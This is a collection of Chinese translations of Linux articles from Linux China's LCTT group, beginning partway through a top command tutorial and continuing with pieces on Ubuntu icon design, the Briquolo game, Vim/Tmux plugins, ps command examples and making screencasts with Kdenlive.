按'<'移动已排序的字段到左边，'>'则移动到右边。

### 2.8 ‘R’: 反向排序

切换反向/常规排序。

### 2.9 ‘c’: 触发命令

切换是否显示进程启动时的完整路径和程序名。

![完整命令路径](/data/attachment/album/201312/08/1059520g96thhhophcphyy.png)

### 2.10 ‘i’: 空闲任务

切换显示空闲任务。

![不显示空闲命令](/data/attachment/album/201312/08/105954e6ohpfesclexrhmp.png)

### 2.11 ‘V’: 树视图

切换树视图。

![树视图](/data/attachment/album/201312/08/105955z6v88vcg6v5h1gv6.png)

### 2.12 ‘Z’: 改变配色

按下'Z'向用户显示一个改变top命令的输出颜色的屏幕。可以为8个任务区域选择8种颜色。

![定制颜色](/data/attachment/album/201312/08/105957f6ofah7b9z69e4u4.png)

下面显示的是4中颜色显示的top视图。

![彩色显示](/data/attachment/album/201312/08/105959tutpus3u406talpp.png)

### 2.13 ‘z’: 切换彩色显示

切换彩色，即打开或关闭彩色显示。

### 2.14 ‘x’ 或者 ‘y’

切换高亮信息：'x'将排序字段高亮显示（纵列）；'y'将运行进程高亮显示（横行）。依赖于你的显示设置，你可能需要让输出彩色来看到这些高亮。

![X 和 Y高亮](/data/attachment/album/201312/08/1100019xr44trg4c374rff.png)

### 2.15 ‘u’: 特定用户的进程

显示特定用户的进程。你会被提示输入用户名。空白将会显示全部用户。

![raghu的进程](/data/attachment/album/201312/08/110003yqssycqczyyqdq9d.png)

### 2.16 ‘n’ 或 ‘#’: 任务的数量

设置最大显示的任务数量

![设置最大显示的任务数量](/data/attachment/album/201312/08/1100048hz8hzn0c8rhbceh.png)

### 2.17 ‘k’: 结束任务

top命令中最重要的一个命令之一。用于发送信号给任务（通常是结束任务）。

![杀死一个任务](/data/attachment/album/201312/08/110006c33lm6l2ge6rgc6g.png)

### 2.18 ‘r’: 重新设置优先级

重新设置一个任务的调度优先级。

3. 命令行选项:
---------

这些命令行选项与上面讨论的命令大多相同。top的输出可以用命令交互操作，但是你也可以带参数运行top来设置你想要的效果。

### 3.1 -b: 批处理模式

-b选项以批处理模式启动top命令。当你想要在文件中保存输出时是很有用的。

### 3.2 -c: 命令/程序名 触发:

如上面所讨论到的命令，这个选项会以上次记住的程序/命令显示的状态显示（是否显示完整路径）。

### 3.3 -d: 设置延迟间隔

设置top的显示间隔(以秒计)。比如。

```
$ top -d 1

```

将会以1秒的刷新间隔启动top。

### 3.4 -i: 切换显示空闲进程

这个选项设置top命令的上一次记住的**相反的**'i'状态。

### 3.5 -n: 设置迭代数量

用-n选项，你可以设置top退出前迭代的次数。

```
$ top -n 3

```

将会在刷新输出3次后退出。

### 3.6 -p: 监控特定的PID

你可以用-p选项监控指定的PID。PID的值为0将被作为top命令自身的PID。

### 3.7 -u 或 -U: 用户名 或者 UID

可以用这些选项浏览特定用户的进程。用户名或者UID可以在选项中指定。-p、-u和-U选项是互斥的，同时只可以使用这其中一个选项。当你试图组合使用这些选项时，你会得到一个错误:

```
$ top -p 28453 -u raghu
top: conflicting process selections (U/p/u)

```

---

via: <http://linoxide.com/linux-command/linux-top-command-examples-screenshots/>

译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出

>
> LCTT（Linux中国翻译组）募新公告
>
>
> LCTT是Linux中国社区（[http://linux.cn/](http://lctt.github.io/)）的翻译组，负责从国外优秀媒体翻译Linux相关的技术、资讯、杂文等内容。
>
>
> LCTT已经拥有二十余名活跃成员，并欢迎更多的Linux志愿者加入我们的团队。
>
>
> 项目地址： <http://lctt.github.io/>
>
>
>


通俗易懂的设计故事更能激发你的创意

Summary:
伴随着产品品质、性能稳定和灵活性的提高，Ubuntu渐渐吸引了一批富有经验的设计师，这些设计师覆盖了越来越多的Ubuntu角落，其中就包括操作系统界面美化、优化行为、以及更为贴心的交互实现等等。
Faenza和Faience的 ...

伴随着产品品质、性能稳定和灵活性的提高，Ubuntu渐渐吸引了一批富有经验的设计师，这些设计师覆盖了越来越多的Ubuntu角落，其中就包括操作系统界面美化、优化行为、以及更为贴心的交互实现等等。

Faenza和Faience的发明者， **Ubuntu设计师 Matthieu "Tiheum" James**，发布了一篇富有见地的有趣文章，这篇文章围绕着几个图标的发明展开，使得对此感兴趣的用户和第三方开发人员能够直观地了解一个专业的设计师是怎样创作一个图标的。

这里提到的图标专为Juju设计，在最近的OpenStack峰会香港站上，在与Ubuntu展台的参观者们见面的时候发布，这些图标采用了一个有趣的特性，“为了向参观Ubuntu展台的观众说明Juju可以做什么，**我们想**用更特殊的一些东西来代替普通的Juju图标。我们决定使用这样一个创意，将不同的配料与酱汁与冰淇淋自由搭配创作出图标，这样用户就能理解，他们能够使用同样的方法，自由搭配建立Juju中的服务。

这篇文章介绍了在真实的图标创作过程中的真实心路历程，使读者沉浸在一个学习但却易于掌握的旅程中，在旅程之中包括寻找好的概念、最初的草图、为图标添加立体感、采用不同的设计方法、选择图标背景、精炼图标等等。总之，这是一个通俗易懂的设计故事。

![](/data/attachment/album/201312/09/150359uvvu3lsuu289k99g.jpg)

你可以在这里享受全文<http://design.canonical.com/2013/11/juju-ice-cream-icon-design/>。

---

via: <http://iloveubuntu.net/deepen-your-creative-knowledge-explanatory-user-friendly-icon-creation-design-story>

译者：[crowner](https://github.com/crowner) 校对：[Mr小眼儿](http://blog.csdn.net/tinyeyeser)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


打砖块游戏Briquolo，测试你的反应速度

Summary:
Briquolo是一款快速而又迷人的游戏，用一个球来破坏不同的物体，经典而又好玩。
Briquolo十分考验反应速度，因此，游戏玩家必需时刻注意球的反弹走向，一不留神就可能让球掉落。
启动游戏后，你会看到这是一款3D游戏 ...

[Briquolo](apt://briquolo)是一款快速而又迷人的游戏，用一个球来破坏不同的物体，经典而又好玩。

Briquolo十分考验反应速度，因此，游戏玩家必需时刻注意球的反弹走向，一不留神就可能让球掉落。

启动游戏后，你会看到这是一款3D游戏，以3D对象展现的华丽木块浮动在一个多彩的环境里，当击破木块时有机率掉落特殊物体，毫无疑问获取它们是至关重要的，这会改变球或滑板的状态，比如球会加速，但有时候也会给你带来麻烦。

音乐及特效选项还提供了更精致的效果(包括游戏全屏，高分辨率，--可调至1920×1080--)，进而呈现一个有趣而又更富挑战性的Briquolo。

![](/data/attachment/album/201312/09/1509433nidie5padrerq3q.jpg)

Briquolo　0.5.7可以通过Ubuntu软件中心(Ubuntu 12.04, Ubuntu 12.04, Ubuntu 13.04, Ubuntu 13.10, Ubuntu 14.04)[免费安装](apt://briquolo)。

---

via: <http://iloveubuntu.net/test-your-reflexes-briquolo-fast-breakout-game>

译者：[Luoxcat](https://github.com/Luoxcat) 校对：[Mr小眼儿](http://blog.csdn.net/tinyeyeser)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


终端至上！将Vim打造成全新的集成开发环境！

Summary:
让GUI都玩儿蛋去！鼠标是你的敌人！只有键盘才是你唯一的朋友！
如果把Vim和Tmux结合在一起会发生什么？你将拥有完美的编程环境！下面是我多年来珍藏的一些不传之秘，有了这些，你立刻就能轻松打造出属于你的Vim开发 ...

**让GUI都玩儿蛋去！鼠标是你的敌人！只有键盘才是你唯一的朋友！**

如果把Vim和Tmux结合在一起会发生什么？你将拥有完美的编程环境！下面是我多年来珍藏的一些不传之秘，有了这些，你立刻就能轻松打造出属于你的Vim开发环境。

![](/data/attachment/album/201312/09/152857fk9nfrwb7bkfqins.png)

### Tmux相关

* [Tmux速成班](http://robots.thoughtbot.com/a-tmux-crash-course)，这个不错，可以让你快速掌握如何开始使用Tmux。
* 这是我的[tmux.conf配置文件](https://github.com/vrde/dotfiles/blob/master/.tmux.conf)，它有一个定制状态栏，可以大大改进颜色主题、优化可读性，里面还有一个必不可少的操作：重设快捷将，因为Ctrl+bVim要用，因此它帮你改为了Ctrl+a。
* 其实，[构建优化IDE](https://gist.github.com/vrde/7398199)就像写一个bash脚本一样简单。链接内的例子展示了如何编写一个.sh脚本来运行你自己的编程环境。

### Vim插件

* [Vundle](https://github.com/gmarik/vundle)，Vim的插件管理器，用它可以跟踪.vimrc文件中的所有插件，还可以进行脚本的一键安装、更新或删除。额，我会告诉你用它还可以直接在Vim里**搜索**插件吗？总之，这个插件扩展绝对是居家旅行、杀人越货之Vim必备佳品。
* [Syntastic](https://github.com/scrooloose/syntastic) 可以检测语法是否正确，写代码的时候要想避免低级错误，这个工具必不可少，它的确能**大大提高**你的代码编写速度。
* [Supertab](https://github.com/ervandew/supertab)，这款插件可以帮助你使用实现自动补全。它会搜索当前文档中的所有字符串，然后给出所有的匹配项建议。对写代码带来的好处不只是提升速度，还可以避免很多拼写错误。如果有兴趣，在本文最后一部分**用户推荐**，有此插件的替代品。
* [Ack](https://github.com/mileszs/ack.vim)，99%的用户会选择用它代替grep。它完美集成在Vim里，用户可以直接用它搜索项目文件，搜索结果则显示在一个独立的窗口里。在本文最后一部分**用户推荐**，也有此插件的替代品。
* [CtrlP](http://kien.github.io/ctrlp.vim/) 能够极快的模糊搜索全路径文件、缓冲区、“最近使用”（MRU）和标签等等，纯粹用VimL写成，专为Vim搜索。
* [NERDTree](https://github.com/scrooloose/nerdtree) 可以帮你浏览整个文件系统、打开文件或目录。它以树形结构显示整个文件系统，支持键盘操作和简单的文件系统操作。
* [Sparkup](https://github.com/rstacruz/sparkup)可以帮助你更快的编写HTML代码。支持**类CSS语法**和**完整的HTML扩展**代码。在本文最后一部分**用户推荐**，也有此插件的替代品。

### 小贴士

* [Vimux](https://github.com/benmills/vimux)可以帮你在Vim中与Tmux进行交互。例如在不需要离开Vim的情况下进行测试、编写脚本、建立任务等。
* [《自动安装Vundle》](http://www.erikzaadi.com/2012/03/19/auto-installing-vundle-from-your-vimrc/)这篇文章介绍了在.vimrc配置文件中只需添加几行VimL脚本，这样每次你在一个新环境中运行Vim的时候，它就能自动安装Vundle及所有关联包。在你拷贝Vim配置文件到一个新环境或新的服务器时，这是非常有用的。
* [一名开发者的成功故事](http://www.linuxjournal.com/content/swap-your-laptop-ipad-linode)介绍了他是如何告别他曾经最信任的**MacBook Pro**，并改用iPad + Linode在云上开始开发工作。

### 用户推荐

* [YouCompleteMe](https://github.com/Valloric/YouCompleteMe)，由Reddit用户hnasarat推荐。它安装起来稍微麻烦一些，但是支持非常强大的语法补全，包括C、Ruby、Python、PHP等许多语言。
* [Ag](https://github.com/ggreer/the_silver_searcher)，由*gckjk*推荐，大多数Reddit用户都知道它，这是升级版的ack，速度快了3到5倍。它能读取.gitignore和.hgignore，或者.agignore，从而忽略一些被版本控制软件所忽略的匹配文件（译注：不加入版本库的文件，我想你大多数时候没有搜索它的意图）。
* [Emmet](http://mattn.github.io/emmet-vim/)，由另一个资深reddit用户*damnated*推荐。这是一款Sparkup的替代品，可以非常方便快速地用标签标记字符串。链接里有示例演示视频。
* [Unite](https://github.com/Shougo/unite.vim)由网友 basetta推荐，它可以作为前面多个插件的集大成者。你可以用它搜索文件（就像CtrlP），搜索文档内容（就像ack或ag），还可以在下拉历史或缓冲区间进行自由移动和切换。所有这些功能都集成在了这一个插件里，非常方便！

---

via: <http://devcharm.com/pages/18-vim-is-your-new-ide>

译者：[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


ps命令的10个例子

Summary:
Linux ps 命令
linux的ps命令是一个查看系统运行的进程的一个最基础的工具。它提供了一个当前进程的快照，还带有一些具体的信息，比如用户id，cpu使用率，内存使用，命令名等，它不会像top或者htop一样实时显示数据  ...

### Linux ps 命令

linux的ps命令是一个查看系统运行的进程的一个最基础的工具。它提供了一个当前进程的快照，还带有一些具体的信息，比如用户id，cpu使用率，内存使用，命令名等，它不会像top或者htop一样实时显示数据。虽然它在功能和输出上更加简单，但它仍然是每个linux新手需要了解和学好的必要进程管理/检测工具。

![](/data/attachment/album/201312/10/162330g4qxdqw4izqy3858.png)

在本篇中，我们会学习ps命令基本的用法：查找、过滤，以不同的方式排序。

### 语法说明

ps命令有两种不同风格的语法规则：BSD风格和UNIX风格。Linux新手经常感到困惑并会误解这两种风格，所以在继续下一步之前，我们来弄清楚一些基本的信息。

>
> 注意: "ps aux"不等同于"ps -aux"。比如"-u"用于显示用户的进程，但是"u"意味着显示具体信息。
>
>
>

BSD 形式 - BSD形式的语法的选项前没有破折号，如：

```
ps aux

```

UNIX/LINUX 形式 - linux形式的语法的选项前有破折号，如：

```
ps -ef
```

>
> 在linux系统上混合这两种语法是可以的。比如 "ps ax -f"。但是本章中我们主要讨论UNIX形式语法。
>
>
>

### 如何使用ps命令

#### 1. 显示所有进程

下面的命令可以显示所有进程的列表。

```
$ ps ax
$ ps -ef

```

通过管道输出到"less"可以分页。

使用"u"或者"-f"选项可以显示进程的具体信息。

```
$ ps aux
$ ps -ef -f
```

>
> 为什么USER列显示的不是我的用户名，但是其他的像root，www-data等却显示？ 对于所有的用户(包括你们的)，如果长度大于8个字符，那么ps只会显示你的UID而不是用户名。
>
>
>

#### 2. 显示用户进程

使用"-u"选项后跟用户名来过滤所属用户的进程。多个用户名可以用逗号分隔。

```
$ ps -f -u www-data
UID        PID  PPID  C STIME TTY          TIME CMD
www-data  1329  1328  0 09:32 ?        00:00:00 nginx: worker process
www-data  1330  1328  0 09:32 ?        00:00:00 nginx: worker process
www-data  1332  1328  0 09:32 ?        00:00:00 nginx: worker process
www-data  1377  1372  0 09:32 ?        00:00:00 php-fpm: pool a.localhost
www-data  1378  1372  0 09:32 ?        00:00:00 php-fpm: pool a.localhost
www-data  4524  2359  0 10:03 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  4527  2359  0 10:03 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  4528  2359  0 10:03 ?        00:00:00 /usr/sbin/apache2 -k start

```

#### 3. 通过名字或者进程id显示进程

通过"-C"选项后面加上名字或者命令来搜索进程。

```
$ ps -C apache2
  PID TTY          TIME CMD
 2359 ?        00:00:00 apache2
 4524 ?        00:00:00 apache2
 4525 ?        00:00:00 apache2
...

```

要通过进程id显示进程，就使用"-p"选项，并且还可以通过逗号分隔来指定多个进程id。

```
$ ps -f -p 3150,7298,6544

```

"-C"必须提供精确的进程名，并且它并不能通过部分名字或者通配符查找。为了更灵活地搜索进程列表，通常使用grep命令。

```
$ ps -ef | grep apache

```

#### 4. 通过cpu或者内存使用排序进程

系统管理员通常想要找出那些消耗最多内存或者CPU的进程。排序选项会基于特定的字段或者参数来排序进程列表。

可以用'--sort'指定多个字段，并用逗号分割。除此之外，字段前面还可以跟上'-'或者'+'的前缀来相应地表示递减和递增排序。这里有很多的用于排序的选项，通过man页来获取完整的列表。

```
$ ps aux --sort=-pcpu,+pmem

```

显示前5名最耗cpu的进程。

```
$ ps aux --sort=-pcpu | head -5
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  2.6  0.7  51396  7644 ?        Ss   02:02   0:03 /usr/lib/systemd/systemd --switched-root --system --deserialize 23
root      1249  2.6  3.0 355800 30896 tty1     Rsl+ 02:02   0:02 /usr/bin/X -background none :0 vt01 -nolisten tcp
root       508  2.4  1.6 248488 16776 ?        Ss   02:02   0:03 /usr/bin/python /usr/sbin/firewalld --nofork
silver    1525  2.1  2.3 448568 24392 ?        S    02:03   0:01 /usr/bin/python /usr/share/system-config-printer/applet.py

```

#### 5. 以树的形式显示进程层级

许多进程实际上是从同一个父进程fork出来的，了解父子关系通常是很有用的。"--forest" 选项会构造一个ascii艺术形式的进程层级视图。

下面的命令会用apache2的进程名来搜索并构造一个树来显示具体信息。

```
$ ps -f --forest -C apache2
UID        PID  PPID  C STIME TTY          TIME CMD
root      2359     1  0 09:32 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  4524  2359  0 10:03 ?        00:00:00  \_ /usr/sbin/apache2 -k start
www-data  4525  2359  0 10:03 ?        00:00:00  \_ /usr/sbin/apache2 -k start
www-data  4526  2359  0 10:03 ?        00:00:00  \_ /usr/sbin/apache2 -k start
www-data  4527  2359  0 10:03 ?        00:00:00  \_ /usr/sbin/apache2 -k start
www-data  4528  2359  0 10:03 ?        00:00:00  \_ /usr/sbin/apache2 -k start
```

>
> 不要在排序中使用树状显示，因为两者都会以不同方式影响显示的顺序。
>
>
>

#### 6. 显示父进程的子进程

下面一个是找出所有从apache进程fork出来的进程的例子。

```
$ ps -o pid,uname,comm -C apache2
  PID USER     COMMAND
 2359 root     apache2
 4524 www-data apache2
 4525 www-data apache2
 4526 www-data apache2
 4527 www-data apache2
 4528 www-data apache2

```

第一个属于root的进程是apache2的主进程，其他的apache进程都是从主进程fork出来的。下面的命令使用apache2主进程的pid列出了所有的apache2的子进程。

```
$ ps --ppid 2359
  PID TTY          TIME CMD
 4524 ?        00:00:00 apache2
 4525 ?        00:00:00 apache2
 4526 ?        00:00:00 apache2
 4527 ?        00:00:00 apache2
 4528 ?        00:00:00 apache2

```

#### 7. 显示进程的线程

"-L"选项会随着进程一起显示线程。它可用于显示所有指定进程或者所有进程的线程。

下面的命令会显示进程id为3150的进程的所有线程。

```
$ ps -p 3150 -L

```

#### 8. 改变显示的列

ps命令可以被配置用来只显示被选中的列。很多列可以被用来显示，完整的列表可以查看man页。

下面的命令会只显示pid、用户名、cpu、内存、命令列。

```
$ ps -e -o pid,uname,pcpu,pmem,comm

```

同样可以重命名列的名字。

```
$ ps -e -o pid,uname=USERNAME,pcpu=CPU_USAGE,pmem,comm
  PID USERNAME CPU_USAGE %MEM COMMAND
    1 root           0.0  0.0 init
    2 root           0.0  0.0 kthreadd
    3 root           0.0  0.0 ksoftirqd/0
    4 root           0.0  0.0 kworker/0:0
    5 root           0.0  0.0 kworker/0:0H
    7 root           0.0  0.0 migration/0
    8 root           0.0  0.0 rcu_bh
    9 root           0.0  0.0 rcuob/0
   10 root           0.0  0.0 rcuob/1

```

非常灵活。

#### 9. 显示进程运行的时间

运行的时间指的是，进程已经运行的时间。运行时间的列并没有默认显示，需要使用-o选项带入。

```
$ ps -e -o pid,comm,etime

```

#### 10. 将ps转换为实时进程查看器

通常上，watch命令可将ps命令变成实时进程查看器。像这个简单的命令

```
$ watch -n 1 'ps -e -o pid,uname,cmd,pmem,pcpu --sort=-pmem,-pcpu | head -15'

```

我桌面上的输出如下。

```
Every 1.0s: ps -e -o pid,uname,cmd,pmem,pcpu --...  Sun Dec  1 18:16:08 2013

  PID USER     CMD                         %MEM %CPU
 3800 1000     /opt/google/chrome/chrome -  4.6  1.4
 7492 1000     /opt/google/chrome/chrome -  2.7  1.4
 3150 1000     /opt/google/chrome/chrome    2.7  2.5
 3824 1000     /opt/google/chrome/chrome -  2.6  0.6
 3936 1000     /opt/google/chrome/chrome -  2.4  1.6
 2936 1000     /usr/bin/plasma-desktop      2.3  0.2
 9666 1000     /opt/google/chrome/chrome -  2.1  0.8
 3842 1000     /opt/google/chrome/chrome -  2.1  0.8
 4739 1000     /opt/google/chrome/chrome -  1.8  1.0
 3930 1000     /opt/google/chrome/chrome -  1.7  1.0
 3911 1000     /opt/google/chrome/chrome -  1.6  0.6
 3645 1000     /opt/google/chrome/chrome -  1.5  0.4
 3677 1000     /opt/google/chrome/chrome -  1.5  0.4
 3639 1000     /opt/google/chrome/chrome -  1.4  0.4

```

输出会每秒刷新状态，但是这其实很top不同。你会发现top/htop命令的输出相比上面的ps命令刷新得更频繁。

这是因为top输出是结合了cup使用值和内存使用值后的排序值。但是上面的ps命令是一个更简单的行为的排序，每次获取一列(像学校的数学)，因此它不会像top那样快速更新。

---

via: <http://www.binarytides.com/linux-ps-command/>

译者：[geekpi](https://github.com/geekpi) 校对：[Caroline](https://github.com/carolinewuyan)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


如何在Linux上制作一个屏幕录像视频教程

Summary: 一图胜千言，一个精心设计的指导视频更是能给你带来良好体验。Linux上有你需要的制作有用且高质量教学视频的所有工具。我们将用强大的kdenlive视频编辑器和Audacity音频录制器和编辑器制作一个简单的屏幕录像，并学  ...

一图胜千言，一个精心设计的指导视频更是能给你带来良好体验。Linux上有你需要的制作有用且高质量教学视频的所有工具。我们将用强大的kdenlive视频编辑器和Audacity音频录制器和编辑器制作一个简单的屏幕录像，并学习如何在YouTube上分享精彩的屏幕录像。

![](/data/attachment/album/201312/10/165359y9jy4p4eugyv3do9.jpeg)

一台安装了Kdenlive和Audacit软件的Linux系统PC，一个质量好的麦克风或耳机，和一个YouTube的帐号就是你需要准备的全部。（是的，除了Youtube还有很多其他的免费视频共享服务，你也可以使用它们。）YouTube属于Google，Google想让你与全世界共享任何人和事。如果这不是你想做的，请说no。

我们的工作流程是这样的：

* 用Kdenlive录制屏幕录像
* 用Audacity录制音轨
* 添加音轨到Kdenlive
* 上传到YouTube
* 全世界看你的视频，好开心

kdenlive支持最流行的数字视频格式，包括AVI，MP4，H.264，和MOV。它支持的图像文件包括GIF，PNG，SVG和TIFF；支持的音频文件格式，包括非压缩的PCM，Vorbis，WAV，MP3和 AC3。你甚至可以阅读和编辑Flash文件。总之，它可以处理很多东西。

你的配音与你的视频一样重要。请一定要重视你的音频。使音频保持干净和简单，去除杂乱的题外话、方言，并将背景噪声降到最低点。我喜欢用一个质量好的耳麦做讲述，这样你不必担心话筒位置，你可以反复听你自己的讲述而不会影响到你身边的人。

Kdenlive的文档已过期，它会告诉你制作屏幕录像需要RecordMyDesktop软件。我用的是kdenlive 0.9.4，其实不需要Recordmydesktop。

![](/data/attachment/album/201312/10/165407du1bg8j5k5gg6a6e.png)

*图 1：默认配置*

### 制作屏幕录像

首次安装kdenlive,第一次运行时会启动配置向导。不必在意默认设置，因为你随时都可以改变它们。

这是我的屏幕录像的设置：高清720p每秒30帧，1280x720的屏幕尺寸。如何知道该使用什么设置项？ [Google上有一些说明](https://support.google.com/youtube/answer/1722171?hl=en&ref_topic=2888648)。设置这些值可到Settings > Configure Kdenlive > Project Defaults > Default Profile > HD 720p 30fps（图1）。

设置捕捉屏幕的大小到 Settings > Configure Kdenlive > Capture > Screen Grab（图2）。虽然你也可以选择捕捉全屏幕，但最好还是坚持用YouTube规定的尺寸。因为如果使用的尺寸与YouTube规定的不一样，则YouTube将增加黑边来达到合适的尺寸。热切的观众会更加希望看到一个充满生动的内容的屏幕，而不是黑边。

![](/data/attachment/album/201312/10/165408xsaosxy1v5a9zoyd.png)

*图 2：屏幕录像的屏幕大小*

默认的YouTube视频播放器的大小是640x360标清320p，又小又模糊。播放器有小屏，大屏，全屏，和多个质量等级的控制。这些设置只有你的观众会使用，640x360标清320p看起来真的不咋样，但郁闷的是你无法改变这个缺陷。尽管如此，你仍然想制作高质量视频的话，你可以添加一些文字来提醒观众尝试更好的配置。

### 保存你的项目

在你做任何其他事情之前，点击 File->Save as 保存您的项目，并记住周期性地保存它。

### 抓取屏幕

抓屏小菜一碟。到Record Monitor，选择Screen Grab，然后点击Record按钮。屏幕上将打开一个带虚线的框，框里面的所有内容都将被录制下来。因此，你需要做的所有事就是移动框并调整框的大小到你想要l录制的范围。完成后点击停止按钮（图3）。

![](/data/attachment/album/201312/10/165409x41yjlpypj916j13.png)

*图 3：屏幕抓取*

单击Stop，自动打开Clip Monitor，你可以预览你的裁剪效果。如果你觉得不错，把它从Project Tree中拖到Video 1轨道。现在你可以编辑你的视频了。总会有需要你修剪的地方；一个快速的方法是，你在Project Monitor里播放你的剪辑片，直到播放到你需要移除部分的末尾。然后暂停，然后按下Shift+r。你的剪辑片将会在你按下停止的时间轴上的点上被切割为两个剪辑。点击你要删除的片断，按下Delete键，噗！它就消失了。

对于剩下的剪辑片断，可能你想要从时间轴上的某一点开始播放，也可能你想要加入一些好的变换。比如一些简单的渐变就相当不错；右键点击你的剪辑片断，点击Add Effect > Fade > Fade from black 和 Fade to black，然后Kdenlive将自动将这两个效果放到开头和末尾。

### 添加配音

请参阅[Whirlwind Intro to Audacity on Linux: From Recording to CD in One Lesson](http://www.linux.com/learn/tutorials/422799-whirlwind-intro-to-audacity-on-linux)来学习使用Audacity录音的基础操作。以16bit的wav格式导出你的音频文件，然后通过Project > Add Clip导入到Kdenlive。然后将你的新音频剪辑拖到Audio tracks。一个简单的制作视频讲述的方式是边播视频边说。运气好的话，你不需要做很多的清理工作，你的讲述就会与视频同步。

![](/data/attachment/album/201312/10/165410g6538pu5p5rpf5u6.png)

*图 4：用Shift+r切割音轨，然后将其中一个剪辑片从切割点拖离，创建一个静音间隙*

如果你的语速比视频快,你可以在音轨中添加空档时间.很简单,用Shift+r切割音轨，然后将其中一个剪辑片从切割点拖离，创建一个静音间隙。（图4）。

### Rendering Your Project ### 渲染你的项目

当你满意自己的编辑，并准备导出你的最终格式时，点击Render按钮。这需要几分钟的时间，取决于你的电脑速度和项目大小。已有为网站预先设定的值，如果你选择File Rendering， 你可以调整你的设置（图5）。我用File Rendering中的H.264，Video比特率12000， Audio比特率384取得了不错的效果。H.264是一种超压缩格式，使用这种格式发布的文件小但质量好。

![](/data/attachment/album/201312/10/165411256ok42tt2p6kfg3.png)

*图 5：选择文件渲染，调整你的网页设置*

### 发布到YouTube

现在你可以在VLC或MPlayer或你喜欢的任何播放器中播放你的视频了，如果它看起来很好，那么你就可以将它上传到你的YouTube帐户里了。YouTube是典型的Google风格，信息中心和视频管理器会混乱又复杂，不过请坚持多研究下，你会理出头绪的。在你做任何事情之前，你必须对你的账户做资格认证，也就是通过短信和邮件获得一个验证码。通过输入验证码证明你不是一个网络爬虫后，你就能上传你的视频了。

你可以上传你的视频，然后标记它们为私人可见或所有人可见。Google有一些编辑工具，你可能会喜欢，比如自动纠错和配背景音乐。不过以我的拙见，几乎没有人是这样子做背景音乐的，所以这种工具只会令人讨厌。不过你有可能是第一个正确使用这个工具的人哦。

最有用的编辑工具是自动字幕。我推荐在你所有的视频上使用此功能，不光是为了那些听觉障碍的人，也为了那些需要保持低音量观看的人，确保所有的人都明白你在说什么。字幕工具也能创建副本。

另一个有用的工具是注释工具，它支持对话气泡，标题，聚光灯和标签。当然，在Kdenlive中，这些你都可以做到，所以都可以尝试一下。

好吧，到这里就结束了，但似乎我们刚刚开始。请分享你的视频，并在评论中添加Youtube的小建议和技巧。如果可以的话，请在[video.linux.com](http://video.linux.com/100-linux-tutorials)分享你的新的视频教程，并参加100个Linux教程比赛。

---

来源于: <http://www.linux.com/learn/tutorials/745745-how-to-make-a-youtube-instructional-screencast-video-on-linux/>

译者：[coolpigs](https://github.com/coolpigs) 校对：[jasminepeng](https://github.com/jasminepeng)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出